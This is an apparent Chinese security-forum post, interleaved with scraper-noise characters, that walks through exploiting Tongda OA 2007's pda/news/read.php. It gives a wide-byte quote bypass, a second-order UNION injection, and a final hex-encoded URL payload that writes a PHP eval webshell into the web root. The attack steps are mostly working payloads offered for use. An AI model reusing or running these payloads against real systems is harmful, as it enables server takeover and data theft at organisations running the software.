目前测试通达OA2007版本; [* r; Z7 q; |# w2 W% j
$ C% ?" O" f0 M2 H
% v; z% K8 U2 R1 o
Office Anywhere 2007 网络智能办公系统
+ Y3 O1 d9 Z8 J/ D
' g+ y" [" _- o( ^1 b0 ^% nhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..' v4 n+ ^9 G, s+ z) z3 w4 C; i
7 a0 N- w8 M/ s- i
7 @. F6 P; O1 F1 H/ a4 }0 v
这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
) f. D5 u* T" D8 B; d# X2 K
/ e# z i& X2 x7 H2 U: b) W例如:SELECT * from USER where USER_ID='{$USERNAME}'
c: \8 W7 q% H$ _ Y其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
8 @3 s; l! X& M: ~; X
5 y( g- u2 A/ }这个时候我们是不是可以组合起来使用哪?0 C* E$ e. \& u; H: L( I
! D7 z# y& w$ K7 m! `! ~, x1 C
第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样
, K3 I0 ?0 Y6 @ S& xunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,102 x! C1 e/ C K" E& {' v$ w
) s8 I( H4 U4 @2 ~$ |& ~
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了& R4 E# [- W" N) q$ E3 b- O
% F/ b3 U/ n3 S% w5 |. d, ?
那么问题来了,单引号可以吗?当然是不可以的,^_^。。。
3 Z) X2 s6 V, J
9 @+ _0 d2 N% o/ m9 w那么我们用字符串格式带入进行hex编码 k/ u: m; _( D
6 J; h3 ^% p n/ s- v
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%238 \' f4 ]. j3 Y; ?9 P% z E
- |* m5 F) s# I( s0 v6 K测试ok,获取oa的webshell: v' \8 q; ~6 d
. E5 A" `. L+ B 1 J( p- M/ k7 v; N( n& f
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
) x" E3 h% T3 L0 d直接getwebshell |